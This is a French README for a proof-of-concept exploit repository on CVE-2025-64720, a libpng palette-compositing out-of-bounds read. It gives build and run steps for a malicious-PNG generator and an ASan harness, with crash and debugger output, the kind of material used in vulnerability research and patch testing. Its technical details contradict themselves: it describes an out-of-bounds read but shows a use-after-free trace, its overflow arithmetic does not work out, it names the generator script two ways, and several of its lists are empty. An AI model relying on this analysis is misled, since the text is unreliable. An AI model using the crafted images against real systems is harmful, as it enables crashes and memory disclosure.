
Exploit de preuve de concept pour CVE-2025-64720, un dépassement de tampon dans libpng lors de la prémultiplication de palette. Comprend un générateur d'exploit, un harnais de test avec ASan/UBSan, et une analyse technique détaillée de la vulnérabilité heap-use-after-free.
Statut : Corrigé
Gravité : Élevée
CVE ID : CVE-2025-64720
Date de découverte : 2025-11-XX
Divulgation publique : 2025-11-21
Une vulnérabilité de lecture hors limites existe dans la fonction png_image_read_composite de libpng lors du traitement d'images palette avec PNG_FLAG_OPTIMIZE_ALPHA activé. Le code de composition de palette dans png_init_read_transformations applique incorrectement la composition d'arrière-plan pendant la prémultiplication, violant l'invariant component ≤ alpha × 257 requis par l'API PNG simplifiée, entraînant une corruption mémoire.
Dans png_init_read_transformations à la ligne ~1336, le code d'expansion de palette effectue :
component += (255-alpha)*png_sRGB_table[outrow[c]];
Ce calcul produit des valeurs de component allant jusqu'à 16 776 960 (0x1000800), où (component >> 15) == 512. La macro PNG_sRGB_FROM_LINEAR suivante dans png_image_read_composite effectue un accès hors limites au tableau :
png_sRGB_base[component>>15] // Accède à png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accède à png_sRGB_delta[512]
// Les deux tableaux ont seulement des indices 0-511 (taille 512)
Le problème se produit lorsque :
PNG_FLAG_OPTIMIZE_ALPHA est activé en internepngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsAttendu : component ≤ alpha × 257
Assure (component >> 15) ≤ 511 (dans les limites du tableau)
Réel : component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
Avec alpha=0, RGB=255 : component peut dépasser les limites attendues
Résultat : (component >> 15) peut être égal à 512 (accès hors limites)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
Un attaquant peut exploiter cette vulnérabilité en créant un fichier PNG malveillant avec des caractéristiques spécifiques :
Prérequis de l'attaque :
png_image_*)Étapes de l'attaque :
PNG_FLAG_OPTIMIZE_ALPHA est activé en interneRésultat de l'attaque :
png_sRGB_base ou png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │ Potential information disclosure
└─────────────────┘
Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
Conditions requises :
png_image_finish_read)Facteurs optionnels :
PNG_FORMAT_FLAG_AFIRST augmente la probabilité de plantageConditions non déclenchantes :
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)Génère des fichiers PNG malveillants qui déclenchent la vulnérabilité.
Utilisation :
python3 generate_poc.py
Sortie :
exploit_v1.png - Image 8x8, palette blanche uniforme, alpha nulexploit_v2.png - Image 8x8, variation de palette stratégiqueexploit_v3.png - Image 64x64, grande avec motifs répétésexploit_v4.png - Image 4x4, cas minimal avec alpha nul partoutOptions :
# Generate specific variant
generate_malicious_png('custom.png', variant=2)
# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow
test.c)Traite les fichiers PNG en utilisant l'API simplifiée et démontre la vulnérabilité.
Compilation :
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
Fonctionnalités :
Sur version vulnérable (libpng 1.6.36) :
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
Sur version corrigée (libpng >= 1.6.51) :
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
Sortie attendue :
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
Sortie attendue :
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
Résultat attendu (Vulnérable - libpng 1.6.36) :
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
Résultat attendu (Corrigé - libpng >= 1.6.51) :
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
Sortie attendue (vulnérable) :
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash
(gdb) bt
# Shows backtrace with png_safe_execute at top
(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash
(lldb) bt
# Shows backtrace
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ IMPORTANT : Cette PoC est fournie à des fins éducatives et de recherche uniquement.
Ce code est destiné à :
Ce code n'est PAS destiné à :
En utilisant ce code, vous acceptez :